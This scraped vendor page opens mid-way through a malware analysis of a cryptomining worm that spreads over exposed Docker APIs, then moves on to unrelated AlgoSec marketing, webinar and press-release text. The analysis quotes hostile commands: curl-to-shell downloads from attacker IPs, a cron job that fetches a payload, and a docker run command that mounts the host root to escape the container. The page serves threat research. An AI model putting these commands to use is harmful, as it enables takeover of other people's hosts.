files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Security Policy Management with Professor Wool Micro-Segmentation Implementing a micro-segmentation strategy in the data center blocks lateral movement and helps protect the organization from cyberthreats. Watch this whiteboard video series on micro-segmentation and learn why and how to segment the data center, how to future-proof your policies and about the ongoing maintenance of a micro-segmented data center. Lesson 1 In this video, Prof. Wool introduces micro-segmentation: reasons for segmenting the data center, challenges, required steps when deploying a micro-segmentation strategy, and how to future-proof your policies. Introduction to Micro-segmentation Watch Lesson 2 Watch Prof. Wool as he shares tips on how to prepare for network segmentation by identifying the segment borders. Micro-segmentation – Mapping Existing Applications Watch Lesson 3 Watch this Prof. Wool video to learn how to define logical segments within a micro-segmentation project. Micro-segmentation – Defining Logical Segments Watch Lesson 4 In this video, Prof. Wool demonstrates how to generate a filtering policy during a micro-segmentation project. Micro-segmentation – Generating a Filtering Policy Watch Lesson 5 Watch this Prof. Wool video to learn about the ongoing maintenance of your data center upon completion of a micro-segmentation project. Micro-segmentation Ongoing Maintenance Watch Have a Question for Professor Wool? Ask him now Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Partner solution brief AlgoSec and Palo Alto networks Download PDF Download PDF Add a Title Add a Title Add a Title Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue Talk to a Skybox transition expert. Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Webinars Network Security Vision with Application Visibility | Live discussion and demo You’re always making changes to your network, commissioning and decommissioning servers, moving data to and from the cloud, revising application connectivity settings and policies, and/or adding and removing business applications. But how do you make sure that you are not running blind and making network configuration mistakes that may lead to outages? Are you leaving firewall openings for unused applications, making your network vulnerable to insider threats or outside attackers? Stop running blind. Expand your vision with application visibility. With application visibility, you associate your traffic flows to the related business applications, enhance network visibility, improve troubleshooting, gain enhanced compliance reports, and even save time while improving security on your network. In this webinar, Avishai Wool, AlgoSec’s co-founder and CTO, and Yoni Geva, AlgoSec’s Product Manager, will demonstrate – in a live demo – how to overcome these challenges and ensure business continuity through application visibility. Join the webinar and learn how to: Associate your business applications with your security policy rules. Identify the network traffic relevant for each application. Identify hidden risks and vulnerabilities in your applications. Associate compliance violations with relevant business applications. Improve troubleshooting by identifying affected applications. Better document the applications on your network. March 5, 2020 Prof. Avishai Wool CTO & Co Founder AlgoSec Yoni Geva Product Manager Relevant resources Adopting an application-centric approach to security management: getting business leaders interested Keep Reading The Need for Application-Centric Security Policy Management Keep Reading Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Annual vendor-agnostic research found businesses continue to prioritize multi-cloud environments, with Cisco, Microsoft Azure, AWS, Palo Alto Networks and Fortinet leading the way AlgoSec’s 2025 State of Network Security Report Reveals Growing Adoption of Zero-Trust Architecture and Multi-Cloud Environments Annual vendor-agnostic research found businesses continue to prioritize multi-cloud environments, with Cisco, Microsoft Azure, AWS, Palo Alto Networks and Fortinet leading the way April 3, 2025 Speak to one of our experts RIDGEFIELD PARK, NJ, April 3, 2025 – Global cybersecurity leader AlgoSec has released its annual ‘The State of Network Security Report’, providing a comprehensive and objective, vendor-agnostic analysis of today’s network security landscape by identifying key market trends, highlighting in demand solutions and technologies and the most popular strategies being adopted by security professionals. The report identifies significant shifts in cloud platform adoption, deployment of firewalls and Software- Defined Wide Area Networks (SD-WAN), as well as Secure Access Service Edge (SASE) implementation and AI. Based on comparative findings from 2024 and 2025, AlgoSec’s research includes responses from security, network and cloud professionals across 28 countries and evaluates market leaders including Cisco, Microsoft Azure, AWS, Check Point, Palo Alto Networks and more. Key findings from the report include: Security visibility gaps are driving a shift in security management - 71% of security teams struggle with visibility, which is delaying threat detection and response. The lack of insight into application connectivity, security policies and dependencies are proving to be a significant risk Multi-cloud and cloud firewalls are now standard – Businesses continue to adopt multi-cloud environments, with Azure becoming the most widely used platform in 2025. Firewall and SD-WAN adoption grow despite complexity – Multi-vendor strategies make firewall deployment more challenging. In terms of customer base, Palo Alto Networks took the lead, but Fortinet’s NGFW is gaining traction. SD-WAN adoption jumped, with Fortinet rising from 19.1% in 2024 to 25.8% in 2025. Zero-trust and SASE gain momentum – Zero-trust awareness is at an all-time high, with 56% of businesses fully or partially implementing it, though 20% are still in the learning phase. SASE adoption is also growing, with Zscaler leading at 35%, while Netskope has gained 15% market share. AI and automation are reshaping security – AI-driven security tools are improving real-time threat detection, but implementation and privacy concerns remain a challenge. Automation is now critical, with application connectivity automation ranked as the top priority for minimizing risk and downtime. “As businesses expand their digital footprints across hybrid and multi-cloud environments, securing network infrastructure has become a top challenge,” said Eran Shiff, VP of Product at AlgoSec. “We are seeing a major shift toward automation, orchestration and risk mitigation as key security priorities. Adoption of SD-WAN and SASE continues to rise, while awareness of AI-driven security and zero-trust principles is stronger than ever.” The full report can be accessed here. About AlgoSec AlgoSec, a global cybersecurity leader, empowers organizations to securely accelerate application delivery up to 10 times faster by automating application connectivity and security policy across the hybrid network environment. With two decades of expertise securing hybrid networks, over 2200 of the worlds most complex organizations trust AlgoSec to help secure their most critical workloads. AlgoSec Horizon platform utilizes advanced AI capabilities, enabling users to automatically discover and identify their business applications across multi-clouds, and remediate risks more effectively. It serves as a single source for visibility into security and compliance issues across the hybrid network environment, to ensure ongoing adherence to internet security standards, industry, and internal regulations. Additionally, organizations can leverage intelligent change automation to streamline security change processes, thus improving security and agility. Learn how AlgoSec enables application owners, information security experts, SecOps and cloud security teams to deploy business applications faster while maintaining security at www.algosec.com .

Migrating Policies To Cisco ACI Policy Portability Download PDF Download PDF Add a Title Add a Title Add a Title Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue Talk to a Skybox transition expert. Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Devopsifying Network Security Download PDF Download PDF Add a Title Add a Title Add a Title Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue Talk to a Skybox transition expert. Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue